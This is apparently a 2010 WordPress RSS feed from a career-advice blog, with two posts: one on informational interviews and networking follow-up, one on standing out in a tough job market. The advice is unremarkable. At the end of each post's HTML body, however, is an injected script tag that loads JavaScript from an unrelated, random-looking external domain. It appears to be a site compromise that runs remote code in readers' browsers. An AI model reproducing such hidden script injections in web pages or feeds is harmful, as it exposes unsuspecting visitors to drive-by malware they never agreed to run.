<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Ability Project &#187; informational interviews</title>
	<atom:link href="http://theabilityproject.com/tag/informational-interviews/feed/" rel="self" type="application/rss+xml" />
	<link>http://theabilityproject.com</link>
	<description></description>
	<lastBuildDate>Mon, 12 Apr 2010 13:35:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>The Low Down on Informational Interviews</title>
		<link>http://theabilityproject.com/2009/08/26/informational-interviews-3/</link>
		<comments>http://theabilityproject.com/2009/08/26/informational-interviews-3/#comments</comments>
		<pubDate>Wed, 26 Aug 2009 14:24:42 +0000</pubDate>
		<dc:creator>Rachel</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[College]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Networking/Prospecting]]></category>
		<category><![CDATA[Sales and People Skills]]></category>
		<category><![CDATA[Young Adult]]></category>
		<category><![CDATA[branding]]></category>
		<category><![CDATA[alumni]]></category>
		<category><![CDATA[business card]]></category>
		<category><![CDATA[follow-up]]></category>
		<category><![CDATA[Generation Y]]></category>
		<category><![CDATA[informational interviews]]></category>
		<category><![CDATA[interview]]></category>
		<category><![CDATA[job]]></category>
		<category><![CDATA[job searching]]></category>
		<category><![CDATA[mentor]]></category>
		<category><![CDATA[personal branding]]></category>
		<category><![CDATA[professional development]]></category>
		<category><![CDATA[relationships]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[success]]></category>
		<category><![CDATA[young adults]]></category>
		<category><![CDATA[young professionals]]></category>

		<guid isPermaLink="false">http://theabilityproject.com/?p=1454</guid>
		<description><![CDATA[Having just moved from Southern Florida to New York City, I am setting up several informational interviews to further understand social media and new marketing techniques.  Whether you have a job or are searching, informational interviews are a key to success.

Yesterday, I read an informative article in The Examiner written by James Sanford.  [...]]]></description>
			<content:encoded><![CDATA[<p>Having just moved from Southern Florida to New York City, I am setting up several informational interviews to further understand social media and new marketing techniques.  Whether you have a job or are searching, informational interviews are a key to success.<br />
<span id="more-1454"></span><br />
Yesterday, I read an informative article in <a href="http://www.examiner.com/x-20172-Columbus-Career-Transition-Examiner~y2009m8d24-Jobsearch-triage-the-informational-interview">The Examiner </a>written by James Sanford.  My learnings were as follows: </p>
<p>1)  Do not present a resume or ask for a job in an informational interview.  The purpose of your meeting should be to learn a company culture and network in your industry.  </p>
<p>2)  Arrive to the meeting prepared with thoughtful questions.  </p>
<p>3)  The informational interview is a relaxed setting to practice your answers to future interview questions (i.e. “tell me about yourself”).  You should not feel as if you are in an interview or selling a product; however, this is an excellent opportunity to practice your personal brand story or pitch.    </p>
<p>4)  Follow-up is critical.  Thank each contact for his/her time, information, advice. Thank-you letters should be sent via email; a hard copy should be sent through snail mail.</p>
<p>5)  Each manager and/or executive should be updated on any progress in your career.  </p>
<p>6)  Keep good records of connections made, including dates and follow-up tasks.  I personally keep a well organized, ongoing list in an excel file.</p>
<p>As a Generation Y, it is often difficult to know who to contact and what exchange is appropriate.   I am signing up for alumni events, industry related associations and specific Meetup.com affairs.  </p>
<p>Other personal habits I have acquired while networking are to 1) confirm meeting time and place the day before, 2) follow up with unique, outstanding stationary, 3) get a business card, and 4) remember to small talk.  Small talk is an art; often when I am taking myself too seriously, I forget to ask my mentor personal details.  Taking note of these personal details on the back of his/her business card is a great technique.  Then when I follow up, I can ask about family, vacation, home, etc.  Every little detail counts when creating lasting relationships.<br />
<script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://theabilityproject.com/2009/08/26/informational-interviews-3/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Warning: Tough Job Market</title>
		<link>http://theabilityproject.com/2009/07/27/warning-tough-job-market/</link>
		<comments>http://theabilityproject.com/2009/07/27/warning-tough-job-market/#comments</comments>
		<pubDate>Mon, 27 Jul 2009 19:06:41 +0000</pubDate>
		<dc:creator>Ken</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[branding]]></category>
		<category><![CDATA[economy]]></category>
		<category><![CDATA[informational interviews]]></category>
		<category><![CDATA[internships]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[stand out]]></category>

		<guid isPermaLink="false">http://theabilityproject.com/?p=1277</guid>
		<description><![CDATA[In the not-so-recent news, jobs are scarce. The current economic downturn is more of a wake up call than a mad panic to find a job. It means competition is tougher, there are fewer jobs out there, and you need to work harder than normal. A little bit can go a long way and informational [...]]]></description>
			<content:encoded><![CDATA[<p>In the <a href="http://abcnews.go.com/Business/wireStory?id=8157526">not-so-recent news</a>, jobs are scarce. The current economic downturn is more of a wake up call than a mad panic to find a job. It means competition is tougher, there are fewer jobs out there, and you need to work harder than normal. <span id="more-1277"></span>A little bit can go a long way and <a href="../2008/12/19/informational-interviews/">informational interviews</a>, attending <a href="../2007/12/14/dont-forget-to-water/">networking</a> events, and college <a href="../what-we-do/campus-ambassadors/">internships</a> will increase your chances of landing a job.</p>
<p><strong>Stand out:</strong> Brand everything, especially your resume. Link your blog, showcase your internships, highlight your achievements, and take initiative. Your resume should be an extension of you. Be prepared to talk about everything on your resume and have a story to back it up. It should all support your <a href="../2009/07/22/personal-branding-story/">personal brand story</a>.</p>
<p>Employers have a wealth of potential employees that they can hire. Try to see things from the employer’s perspective and think– why would I hire you? Be able to give the reasons on what makes you a better candidate than the next person. It’s all about knowing your audience in order to effectively communicate your message.<script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://theabilityproject.com/2009/07/27/warning-tough-job-market/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
